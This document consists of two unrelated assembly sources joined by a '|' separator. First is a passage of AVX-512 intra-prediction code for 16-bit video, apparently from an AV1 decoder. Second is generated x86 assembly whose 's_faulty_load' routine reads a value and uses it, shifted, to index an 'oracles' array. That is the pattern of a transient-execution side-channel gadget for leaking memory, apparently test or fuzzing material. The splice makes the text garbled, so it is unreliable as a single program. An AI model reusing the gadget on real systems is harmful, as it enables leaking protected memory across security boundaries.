smooth_perm: db 1, 2, 5, 6, 9, 10, 13, 14, 17, 18, 21, 22, 25, 26, 29, 30
db 33, 34, 37, 38, 41, 42, 45, 46, 49, 50, 53, 54, 57, 58, 61, 62
db 65, 66, 69, 70, 73, 74, 77, 78, 81, 82, 85, 86, 89, 90, 93, 94
db 97, 98,101,102,105,106,109,110,113,114,117,118,121,122,125,126
pal_pred_perm: db 0, 32, 1, 33, 2, 34, 3, 35, 4, 36, 5, 37, 6, 38, 7, 39
db 8, 40, 9, 41, 10, 42, 11, 43, 12, 44, 13, 45, 14, 46, 15, 47
db 16, 48, 17, 49, 18, 50, 19, 51, 20, 52, 21, 53, 22, 54, 23, 55
db 24, 56, 25, 57, 26, 58, 27, 59, 28, 60, 29, 61, 30, 62, 31, 63
filter_permA: times 4 db 6, 7, 8, 9, 14, 15, 4, 5
times 4 db 10, 11, 12, 13, 2, 3, -1, -1
filter_permB: times 4 db 22, 23, 24, 25, 30, 31, 6, 7
times 4 db 26, 27, 28, 29, 14, 15, -1, -1
filter_permC: dd 8 ; dq 8, 10, 1, 11, 0, 9
pw_1: times 2 dw 1
dd 10
filter_rnd: dd 32
dd 1
dd 8
dd 11
filter_shift: times 2 dw 6
dd 0
times 2 dw 4
dd 9
%macro JMP_TABLE 3-*
%xdefine %1_%2_table (%%table - 2*4)
%xdefine %%base mangle(private_prefix %+ _%1_%2)
%%table:
%rep %0 - 2
dd %%base %+ .%3 - (%%table - 2*4)
%rotate 1
%endrep
%endmacro
JMP_TABLE ipred_paeth_16bpc, avx512icl, w4, w8, w16, w32, w64
JMP_TABLE ipred_smooth_16bpc, avx512icl, w4, w8, w16, w32, w64
JMP_TABLE ipred_smooth_h_16bpc, avx512icl, w4, w8, w16, w32, w64
JMP_TABLE ipred_smooth_v_16bpc, avx512icl, w4, w8, w16, w32, w64
JMP_TABLE pal_pred_16bpc, avx512icl, w4, w8, w16, w32, w64
cextern smooth_weights_1d_16bpc
cextern smooth_weights_2d_16bpc
cextern filter_intra_taps
SECTION .text
%macro PAETH 3 ; top, signed_ldiff, ldiff
paddw m0, m%2, m2
psubw m1, m0, m3 ; tldiff
psubw m0, m%1 ; tdiff
pabsw m1, m1
pabsw m0, m0
pcmpgtw k1, m0, m1
pminsw m0, m1
pcmpgtw k2, m%3, m0
vpblendmw m0{k1}, m%1, m3
vpblendmw m0{k2}, m2, m0
%endmacro
INIT_ZMM avx512icl
cglobal ipred_paeth_16bpc, 3, 7, 10, dst, stride, tl, w, h
%define base r6-ipred_paeth_16bpc_avx512icl_table
lea r6, [ipred_paeth_16bpc_avx512icl_table]
tzcnt wd, wm
movifnidn hd, hm
movsxd wq, [r6+wq*4]
vpbroadcastw m3, [tlq] ; topleft
add wq, r6
jmp wq
.w4:
vpbroadcastq m4, [tlq+2] ; top
movsldup m7, [base+ipred_shuf]
lea r6, [strideq*3]
psubw m5, m4, m3
pabsw m6, m5
.w4_loop:
sub tlq, 16
vbroadcasti32x4 m2, [tlq]
pshufb m2, m7 ; left
PAETH 4, 5, 6
vextracti32x4 xmm1, m0, 2
vextracti32x4 xmm2, ym0, 1
vextracti32x4 xmm3, m0, 3
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xmm1
movq [dstq+strideq*2], xmm2
movq [dstq+r6 ], xmm3
sub hd, 8
jl .w4_end
lea dstq, [dstq+strideq*4]
movhps [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xmm1
movhps [dstq+strideq*2], xmm2
movhps [dstq+r6 ], xmm3
lea dstq, [dstq+strideq*4]
jg .w4_loop
.w4_end:
RET
.w8:
vbroadcasti32x4 m4, [tlq+2]
movsldup m7, [base+ipred_shuf]
lea r6, [strideq*3]
psubw m5, m4, m3
pabsw m6, m5
.w8_loop:
sub tlq, 8
vpbroadcastq m2, [tlq]
pshufb m2, m7
PAETH 4, 5, 6
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], m0, 2
vextracti32x4 [dstq+strideq*2], ym0, 1
vextracti32x4 [dstq+r6 ], m0, 3
lea dstq, [dstq+strideq*4]
sub hd, 4
jg .w8_loop
RET
.w16:
vbroadcasti32x8 m4, [tlq+2]
movsldup m7, [base+ipred_shuf]
psubw m5, m4, m3
pabsw m6, m5
.w16_loop:
sub tlq, 4
vpbroadcastd m2, [tlq]
pshufb m2, m7
PAETH 4, 5, 6
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
lea dstq, [dstq+strideq*2]
sub hd, 2
jg .w16_loop
RET
.w32:
movu m4, [tlq+2]
psubw m5, m4, m3
pabsw m6, m5
.w32_loop:
sub tlq, 2
vpbroadcastw m2, [tlq]
PAETH 4, 5, 6
mova [dstq], m0
add dstq, strideq
dec hd
jg .w32_loop
RET
.w64:
movu m4, [tlq+ 2]
movu m7, [tlq+66]
psubw m5, m4, m3
psubw m8, m7, m3
pabsw m6, m5
pabsw m9, m8
.w64_loop:
sub tlq, 2
vpbroadcastw m2, [tlq]
PAETH 4, 5, 6
mova [dstq+64*0], m0
PAETH 7, 8, 9
mova [dstq+64*1], m0
add dstq, strideq
dec hd
jg .w64_loop
RET
cglobal ipred_smooth_v_16bpc, 3, 7, 7, dst, stride, tl, w, h, weights, stride3
%define base r6-$$
lea r6, [$$]
tzcnt wd, wm
mov hd, hm
movsxd wq, [base+ipred_smooth_v_16bpc_avx512icl_table+wq*4]
lea weightsq, [base+smooth_weights_1d_16bpc+hq*4]
neg hq
vpbroadcastw m6, [tlq+hq*2] ; bottom
lea wq, [base+ipred_smooth_v_16bpc_avx512icl_table+wq]
lea stride3q, [strideq*3]
jmp wq
.w4:
vpbroadcastq m5, [tlq+2] ; top
movsldup m4, [ipred_shuf]
psubw m5, m6 ; top - bottom
.w4_loop:
vbroadcasti32x4 m3, [weightsq+hq*2]
pshufb m3, m4
pmulhrsw m3, m5
paddw m3, m6
vextracti32x4 xmm0, m3, 3
vextracti32x4 xmm1, ym3, 1
vextracti32x4 xmm2, m3, 2
movhps [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm1
movhps [dstq+strideq*2], xmm2
movhps [dstq+stride3q ], xm3
add hq, 8
jg .end
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movq [dstq+strideq*1], xmm1
movq [dstq+strideq*2], xmm2
movq [dstq+stride3q ], xm3
lea dstq, [dstq+strideq*4]
jl .w4_loop
.end:
RET
.w8:
vbroadcasti32x4 m5, [tlq+2] ; top
movsldup m4, [ipred_shuf]
psubw m5, m6 ; top - bottom
.w8_loop:
vpbroadcastq m0, [weightsq+hq*2]
pshufb m0, m4
pmulhrsw m0, m5
paddw m0, m6
vextracti32x4 [dstq+strideq*0], m0, 3
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
mova [dstq+stride3q ], xm0
lea dstq, [dstq+strideq*4]
add hq, 4
jl .w8_loop
RET
.w16:
vbroadcasti32x8 m5, [tlq+2] ; top
movsldup m4, [ipred_shuf]
psubw m5, m6 ; top - bottom
.w16_loop:
vpbroadcastd m0, [weightsq+hq*2+0]
vpbroadcastd m1, [weightsq+hq*2+4]
pshufb m0, m4
pshufb m1, m4
pmulhrsw m0, m5
pmulhrsw m1, m5
paddw m0, m6
paddw m1, m6
vextracti32x8 [dstq+strideq*0], m0, 1
mova [dstq+strideq*1], ym0
vextracti32x8 [dstq+strideq*2], m1, 1
mova [dstq+stride3q ], ym1
lea dstq, [dstq+strideq*4]
add hq, 4
jl .w16_loop
RET
.w32:
movu m5, [tlq+2]
psubw m5, m6
.w32_loop:
vpbroadcastw m0, [weightsq+hq*2+0]
vpbroadcastw m1, [weightsq+hq*2+2]
vpbroadcastw m2, [weightsq+hq*2+4]
vpbroadcastw m3, [weightsq+hq*2+6]
REPX {pmulhrsw x, m5}, m0, m1, m2, m3
REPX {paddw x, m6}, m0, m1, m2, m3
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m3
lea dstq, [dstq+strideq*4]
add hq, 4
jl .w32_loop
RET
.w64:
movu m4, [tlq+ 2]
movu m5, [tlq+66]
psubw m4, m6
psubw m5, m6
.w64_loop:
vpbroadcastw m1, [weightsq+hq*2+0]
vpbroadcastw m3, [weightsq+hq*2+2]
pmulhrsw m0, m4, m1
pmulhrsw m1, m5
pmulhrsw m2, m4, m3
pmulhrsw m3, m5
REPX {paddw x, m6}, m0, m1, m2, m3
mova [dstq+strideq*0+64*0], m0
mova [dstq+strideq*0+64*1], m1
mova [dstq+strideq*1+64*0], m2
mova [dstq+strideq*1+64*1], m3
lea dstq, [dstq+strideq*2]
add hq, 2
jl .w64_loop
RET
cglobal ipred_smooth_h_16bpc, 3, 7, 7, dst, stride, tl, w, h, stride3
lea r6, [$$]
mov wd, wm
movifnidn hd, hm
vpbroadcastw m6, [tlq+wq*2] ; right
tzcnt wd, wd
add hd, hd
movsxd wq, [base+ipred_smooth_h_16bpc_avx512icl_table+wq*4]
sub tlq, hq
lea stride3q, [strideq*3]
lea wq, [base+ipred_smooth_h_16bpc_avx512icl_table+wq]
jmp wq
.w4:
movsldup m4, [base+ipred_shuf]
vpbroadcastq m5, [base+smooth_weights_1d_16bpc+4*2]
.w4_loop:
vbroadcasti32x4 m0, [tlq+hq-16] ; left
pshufb m0, m4
psubw m0, m6 ; left - right
pmulhrsw m0, m5
paddw m0, m6
vextracti32x4 xmm1, m0, 2
vextracti32x4 xmm2, ym0, 1
vextracti32x4 xmm3, m0, 3
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xmm1
movq [dstq+strideq*2], xmm2
movq [dstq+stride3q ], xmm3
sub hd, 8*2
jl .end
lea dstq, [dstq+strideq*4]
movhps [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xmm1
movhps [dstq+strideq*2], xmm2
movhps [dstq+stride3q ], xmm3
lea dstq, [dstq+strideq*4]
jg .w4_loop
.end:
RET
.w8:
movsldup m4, [base+ipred_shuf]
vbroadcasti32x4 m5, [base+smooth_weights_1d_16bpc+8*2]
.w8_loop:
vpbroadcastq m0, [tlq+hq-8] ; left
pshufb m0, m4
psubw m0, m6 ; left - right
pmulhrsw m0, m5
paddw m0, m6
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], m0, 2
vextracti32x4 [dstq+strideq*2], ym0, 1
vextracti32x4 [dstq+stride3q ], m0, 3
lea dstq, [dstq+strideq*4]
sub hd, 4*2
jg .w8_loop
RET
.w16:
movsldup m4, [base+ipred_shuf]
vbroadcasti32x8 m5, [base+smooth_weights_1d_16bpc+16*2]
.w16_loop:
vpbroadcastd m0, [tlq+hq-4]
vpbroadcastd m1, [tlq+hq-8]
pshufb m0, m4
pshufb m1, m4
psubw m0, m6
psubw m1, m6
pmulhrsw m0, m5
pmulhrsw m1, m5
paddw m0, m6
paddw m1, m6
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
lea dstq, [dstq+strideq*4]
sub hq, 4*2
jg .w16_loop
RET
.w32:
movu m5, [base+smooth_weights_1d_16bpc+32*2]
.w32_loop:
vpbroadcastq m3, [tlq+hq-8]
punpcklwd m3, m3
psubw m3, m6
pshufd m0, m3, q3333
pshufd m1, m3, q2222
pshufd m2, m3, q1111
pshufd m3, m3, q0000
REPX {pmulhrsw x, m5}, m0, m1, m2, m3
REPX {paddw x, m6}, m0, m1, m2, m3
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m3
lea dstq, [dstq+strideq*4]
sub hq, 4*2
jg .w32_loop
RET
.w64:
movu m4, [base+smooth_weights_1d_16bpc+64*2]
movu m5, [base+smooth_weights_1d_16bpc+64*3]
.w64_loop:
vpbroadcastw m1, [tlq+hq-2]
vpbroadcastw m3, [tlq+hq-4]
psubw m1, m6
psubw m3, m6
pmulhrsw m0, m4, m1
pmulhrsw m1, m5
pmulhrsw m2, m4, m3
pmulhrsw m3, m5
REPX {paddw x, m6}, m0, m1, m2, m3
mova [dstq+strideq*0+64*0], m0
mova [dstq+strideq*0+64*1], m1
mova [dstq+strideq*1+64*0], m2
mova [dstq+strideq*1+64*1], m3
lea dstq, [dstq+strideq*2]
sub hq, 2*2
jg .w64_loop
RET
cglobal ipred_smooth_16bpc, 3, 7, 16, dst, stride, tl, w, h, v_weights, stride3
lea r6, [$$]
mov wd, wm
movifnidn hd, hm
vpbroadcastw m13, [tlq+wq*2] ; right
tzcnt wd, wd
add hd, hd
movsxd wq, [base+ipred_smooth_16bpc_avx512icl_table+wq*4]
mov r5d, 0x55555555
sub tlq, hq
mova m14, [base+smooth_perm]
kmovd k1, r5d
vpbroadcastw m0, [tlq] ; bottom
mov r5, 0x3333333333333333
pxor m15, m15
lea wq, [base+ipred_smooth_16bpc_avx512icl_table+wq]
kmovq k2, r5
lea v_weightsq, [base+smooth_weights_2d_16bpc+hq*2]
jmp wq
.w4:
vpbroadcastq m5, [tlq+hq+2]
movshdup m3, [base+ipred_shuf]
movsldup m4, [base+ipred_shuf]
vbroadcasti32x4 m6, [base+smooth_weights_2d_16bpc+4*4]
lea stride3q, [strideq*3]
punpcklwd m5, m0 ; top, bottom
.w4_loop:
vbroadcasti32x4 m0, [v_weightsq]
vpbroadcastq m2, [tlq+hq-8]
mova m1, m13
pshufb m0, m3
pmaddwd m0, m5
pshufb m1{k2}, m2, m4 ; left, right
vpdpwssd m0, m1, m6
vpermb m0, m14, m0
pavgw ym0, ym15
vextracti32x4 xmm1, ym0, 1
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xmm1
movhps [dstq+strideq*2], xm0
movhps [dstq+stride3q ], xmm1
lea dstq, [dstq+strideq*4]
add v_weightsq, 4*4
sub hd, 4*2
jg .w4_loop
RET
.w8:
vbroadcasti32x4 ym5, [tlq+hq+2]
movshdup m6, [base+ipred_shuf]
movsldup m7, [base+ipred_shuf]
pmovzxwd m5, ym5
vbroadcasti32x8 m8, [base+smooth_weights_2d_16bpc+8*4]
lea stride3q, [strideq*3]
vpblendmw m5{k1}, m0, m5 ; top, bottom
.w8_loop:
vpbroadcastq m0, [v_weightsq+0]
vpbroadcastq m1, [v_weightsq+8]
vpbroadcastd m3, [tlq+hq-4]
vpbroadcastd m4, [tlq+hq-8]
pshufb m0, m6
pmaddwd m0, m5
pshufb m1, m6
pmaddwd m1, m5
mova m2, m13
pshufb m2{k2}, m3, m7 ; left, right
mova m3, m13
pshufb m3{k2}, m4, m7
vpdpwssd m0, m2, m8
vpdpwssd m1, m3, m8
add v_weightsq, 4*4
vpermt2b m0, m14, m1
pavgw m0, m15
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
lea dstq, [dstq+strideq*4]
sub hd, 4*2
jg .w8_loop
RET
.w16:
pmovzxwd m5, [tlq+hq+2]
mova m6, [base+smooth_weights_2d_16bpc+16*4]
vpblendmw m5{k1}, m0, m5 ; top, bottom
.w16_loop:
vpbroadcastd m0, [v_weightsq+0]
vpbroadcastd m1, [v_weightsq+4]
pmaddwd m0, m5
pmaddwd m1, m5
mova m2, m13
vpbroadcastw m2{k1}, [tlq+hq-2] ; left, right
mova m3, m13
vpbroadcastw m3{k1}, [tlq+hq-4]
vpdpwssd m0, m2, m6
vpdpwssd m1, m3, m6
add v_weightsq, 2*4
vpermt2b m0, m14, m1
pavgw m0, m15
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
lea dstq, [dstq+strideq*2]
sub hq, 2*2
jg .w16_loop
RET
.w32:
pmovzxwd m5, [tlq+hq+ 2]
pmovzxwd m6, [tlq+hq+34]
mova m7, [base+smooth_weights_2d_16bpc+32*4]
mova m8, [base+smooth_weights_2d_16bpc+32*6]
vpblendmw m5{k1}, m0, m5 ; top, bottom
vpblendmw m6{k1}, m0, m6
.w32_loop:
vpbroadcastd m2, [v_weightsq+0]
vpbroadcastd m3, [v_weightsq+4]
pmaddwd m0, m5, m2
pmaddwd m2, m6
pmaddwd m1, m5, m3
pmaddwd m3, m6
mova m4, m13
vpbroadcastw m4{k1}, [tlq+hq-2] ; left, right
vpdpwssd m0, m4, m7
vpdpwssd m2, m4, m8
mova m4, m13
vpbroadcastw m4{k1}, [tlq+hq-4]
vpdpwssd m1, m4, m7
vpdpwssd m3, m4, m8
add v_weightsq, 2*4
vpermt2b m0, m14, m2
vpermt2b m1, m14, m3
pavgw m0, m15
pavgw m1, m15
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
lea dstq, [dstq+strideq*2]
sub hq, 2*2
jg .w32_loop
RET
.w64:
pmovzxwd m5, [tlq+hq+ 2]
pmovzxwd m6, [tlq+hq+34]
pmovzxwd m7, [tlq+hq+66]
pmovzxwd m8, [tlq+hq+98]
mova m9, [base+smooth_weights_2d_16bpc+64*4]
vpblendmw m5{k1}, m0, m5 ; top, bottom
mova m10, [base+smooth_weights_2d_16bpc+64*5]
vpblendmw m6{k1}, m0, m6
mova m11, [base+smooth_weights_2d_16bpc+64*6]
vpblendmw m7{k1}, m0, m7
mova m12, [base+smooth_weights_2d_16bpc+64*7]
vpblendmw m8{k1}, m0, m8
.w64_loop:
vpbroadcastd m3, [v_weightsq]
mova m4, m13
vpbroadcastw m4{k1}, [tlq+hq-2] ; left, right
pmaddwd m0, m5, m3
pmaddwd m2, m6, m3
pmaddwd m1, m7, m3
pmaddwd m3, m8
vpdpwssd m0, m4, m9
vpdpwssd m2, m4, m10
vpdpwssd m1, m4, m11
vpdpwssd m3, m4, m12
add v_weightsq, 1*4
vpermt2b m0, m14, m2
vpermt2b m1, m14, m3
pavgw m0, m15
pavgw m1, m15
mova [dstq+64*0], m0
mova [dstq+64*1], m1
add dstq, strideq
sub hd, 1*2
jg .w64_loop
RET
cglobal pal_pred_16bpc, 4, 7, 4, dst, stride, pal, idx, w, h, stride3
lea r6, [pal_pred_16bpc_avx512icl_table]
tzcnt wd, wm
mova m2, [pal_pred_perm]
movsxd wq, [r6+wq*4]
mova xm3, [palq]
movifnidn hd, hm
add wq, r6
lea stride3q, [strideq*3]
jmp wq
.w4:
pmovzxbw ym0, [idxq]
add idxq, 16
vpermw ym0, ym0, ym3
vextracti32x4 xmm1, ym0, 1
movq [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xm0
movq [dstq+strideq*2], xmm1
movhps [dstq+stride3q ], xmm1
lea dstq, [dstq+strideq*4]
sub hd, 4
jg .w4
RET
.w8:
pmovzxbw m0, [idxq]
add idxq, 32
vpermw m0, m0, m3
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
lea dstq, [dstq+strideq*4]
sub hd, 4
jg .w8
RET
.w16:
vpermb m1, m2, [idxq]
add idxq, 64
vpermw m0, m1, m3
psrlw m1, 8
vpermw m1, m1, m3
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
lea dstq, [dstq+strideq*4]
sub hd, 4
jg .w16
RET
.w32:
vpermb m1, m2, [idxq]
add idxq, 64
vpermw m0, m1, m3
psrlw m1, 8
vpermw m1, m1, m3
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
lea dstq, [dstq+strideq*2]
sub hd, 2
jg .w32
RET
.w64:
vpermb m1, m2, [idxq]
add idxq, 64
vpermw m0, m1, m3
psrlw m1, 8
vpermw m1, m1, m3
mova [dstq+64*0], m0
mova [dstq+64*1], m1
add dstq, strideq
dec hd
jg .w64
RET
; The ipred_filter SIMD processes 4x2 blocks in the following order which
; increases parallelism compared to doing things row by row.
; w4 w8 w16 w32
; 1 1 2 1 2 5 6 1 2 5 6 9 a d e
; 2 2 3 2 3 6 7 2 3 6 7 a b e f
; 3 3 4 3 4 7 8 3 4 7 8 b c f g
; 4 4 5 4 5 8 9 4 5 8 9 c d g h
cglobal ipred_filter_16bpc, 4, 7, 14, dst, stride, tl, w, h, filter, top
%define base r6-$$
lea r6, [$$]
%ifidn filterd, filterm
movzx filterd, filterb
%else
movzx filterd, byte filterm
%endif
shl filterd, 6
movifnidn hd, hm
movu xm0, [tlq-6]
pmovsxbw m7, [base+filter_intra_taps+filterq+32*0]
pmovsxbw m8, [base+filter_intra_taps+filterq+32*1]
mov r5d, r8m ; bitdepth_max
movsldup m9, [base+filter_permA]
movshdup m10, [base+filter_permA]
shr r5d, 11 ; is_12bpc
jnz .12bpc
psllw m7, 2 ; upshift multipliers so that packusdw
psllw m8, 2 ; will perform clipping for free
.12bpc:
vpbroadcastd m5, [base+filter_rnd+r5*8]
vpbroadcastd m6, [base+filter_shift+r5*8]
sub wd, 8
jl .w4
.w8:
call .main4
movsldup m11, [filter_permB]
lea r5d, [hq*2+2]
movshdup m12, [filter_permB]
lea topq, [tlq+2]
mova m13, [filter_permC]
sub hd, 4
vinserti32x4 ym0, [topq], 1 ; a0 b0 t0 t1
sub tlq, r5
%if WIN64
push r7
push r8
%endif
mov r7, dstq
mov r8d, hd
.w8_loop:
movlps xm4, xm0, [tlq+hq*2]
call .main8
lea dstq, [dstq+strideq*2]
sub hd, 2
jge .w8_loop
test wd, wd
jz .end
mov r2d, 0x0d
kmovb k1, r2d
lea r2, [strideq*3]
.w16:
movd xmm0, [r7+strideq*1+12]
vpblendd xmm0, [topq+8], 0x0e ; t1 t2
pinsrw xm4, xmm0, [r7+strideq*0+14], 2
call .main8
add r7, 16
vinserti32x4 ym0, [topq+16], 1 ; a2 b2 t2 t3
mov hd, r8d
mov dstq, r7
add topq, 16
.w16_loop:
movd xmm1, [dstq+strideq*2-4]
punpcklwd xm4, xmm1, xmm0
movd xmm0, [dstq+r2-4]
shufps xm4{k1}, xmm0, xm0, q3210
call .main8
lea dstq, [dstq+strideq*2]
sub hd, 2
jge .w16_loop
sub wd, 8
jg .w16
.end:
vpermb m2, m11, m0
mova ym1, ym5
vpdpwssd m1, m2, m7
vpermb m2, m12, m0
vpdpwssd m1, m2, m8
%if WIN64
pop r8
pop r7
%endif
vextracti32x8 ym2, m1, 1
paddd ym1, ym2
packusdw ym1, ym1
vpsrlvw ym1, ym6
vpermt2q m0, m13, m1
vextracti32x4 [dstq+strideq*0], m0, 2
vextracti32x4 [dstq+strideq*1], ym0, 1
RET
.w4_loop:
movlps xm0, [tlq-10]
lea dstq, [dstq+strideq*2]
sub tlq, 4
.w4:
call .main4
movq [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xm0
sub hd, 2
jg .w4_loop
RET
ALIGN function_align
.main4:
vpermb m2, m9, m0
mova ym1, ym5
vpdpwssd m1, m2, m7
vpermb m0, m10, m0
vpdpwssd m1, m0, m8
vextracti32x8 ym0, m1, 1
paddd ym0, ym1
vextracti32x4 xm1, ym0, 1
packusdw xm0, xm1 ; clip
vpsrlvw xm0, xm6
ret
ALIGN function_align
.main8:
vpermb m3, m11, m0
mova ym2, ym5
vpdpwssd m2, m3, m7
vpermb m3, m9, m4
mova ym1, ym5
vpdpwssd m1, m3, m7
vpermb m3, m12, m0
vpdpwssd m2, m3, m8
vpermb m3, m10, m4
vpdpwssd m1, m3, m8
vextracti32x8 ym4, m2, 1
vextracti32x8 ym3, m1, 1
paddd ym2, ym4
paddd ym1, ym3
packusdw ym1, ym2 ; clip
vpsrlvw ym1, ym6
vpermt2q m0, m13, m1 ; c0 d0 b0 b1 a0 a1
vextracti32x4 [dstq+strideq*0], m0, 2
vextracti32x4 [dstq+strideq*1], ym0, 1
ret
%endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1e670, %rsi
lea addresses_UC_ht+0x1c8f0, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $68, %rcx
rep movsw
nop
and $54495, %rdx
lea addresses_WC_ht+0x10d08, %rdx
nop
nop
sub %r11, %r11
movups (%rdx), %xmm3
vpextrq $1, %xmm3, %r12
and $63379, %r12
lea addresses_UC_ht+0x27b0, %rsi
nop
nop
cmp $37469, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0x10cf0, %r9
nop
nop
cmp $15358, %r11
mov (%r9), %cx
nop
and $5473, %r9
lea addresses_A_ht+0x186de, %rdi
nop
nop
nop
nop
nop
and $35365, %r11
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
dec %r9
lea addresses_WC_ht+0x95f0, %rdi
nop
nop
nop
dec %rcx
movl $0x61626364, (%rdi)
nop
nop
nop
xor $59950, %rdi
lea addresses_normal_ht+0x1a30, %rcx
nop
nop
nop
add $62290, %r11
movb (%rcx), %r12b
nop
nop
nop
nop
nop
and $42307, %rdi
lea addresses_WT_ht+0xc780, %rdx
nop
and %r11, %r11
mov (%rdx), %r9w
nop
nop
cmp $558, %rdx
lea addresses_UC_ht+0x9ef0, %r9
nop
sub %r12, %r12
mov (%r9), %di
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0x1a4f0, %rsi
lea addresses_A_ht+0x8f0, %rdi
nop
nop
nop
nop
sub %r9, %r9
mov $117, %rcx
rep movsq
nop
nop
nop
nop
inc %r9
lea addresses_UC_ht+0x24f0, %r11
nop
nop
nop
inc %r9
movl $0x61626364, (%r11)
dec %rcx
lea addresses_WT_ht+0xd470, %rsi
lea addresses_WC_ht+0x5af0, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $105, %rcx
rep movsl
nop
inc %rdi
lea addresses_D_ht+0x1b4f0, %rcx
nop
nop
nop
and %rdi, %rdi
mov (%rcx), %r12
nop
and %rsi, %rsi
lea addresses_UC_ht+0x14948, %rdi
nop
nop
nop
nop
nop
cmp $22868, %r12
vmovups (%rdi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
xor $19387, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x1ebf0, %r13
nop
nop
nop
nop
nop
add %r12, %r12
movl $0x51525354, (%r13)
nop
nop
add $27063, %r8
// REPMOV
lea addresses_WC+0x10050, %rsi
lea addresses_D+0x13724, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $89, %rcx
rep movsl
nop
nop
sub %rbx, %rbx
// Store
lea addresses_A+0x11cf0, %rdi
nop
nop
nop
xor %rbp, %rbp
movb $0x51, (%rdi)
nop
nop
nop
nop
inc %r12
// Faulty Load
lea addresses_WT+0x1b4f0, %r13
add %rbx, %rbx
mov (%r13), %rdi
lea oracles, %r8
and $0xff, %rdi
shlq $12, %rdi
mov (%r8,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
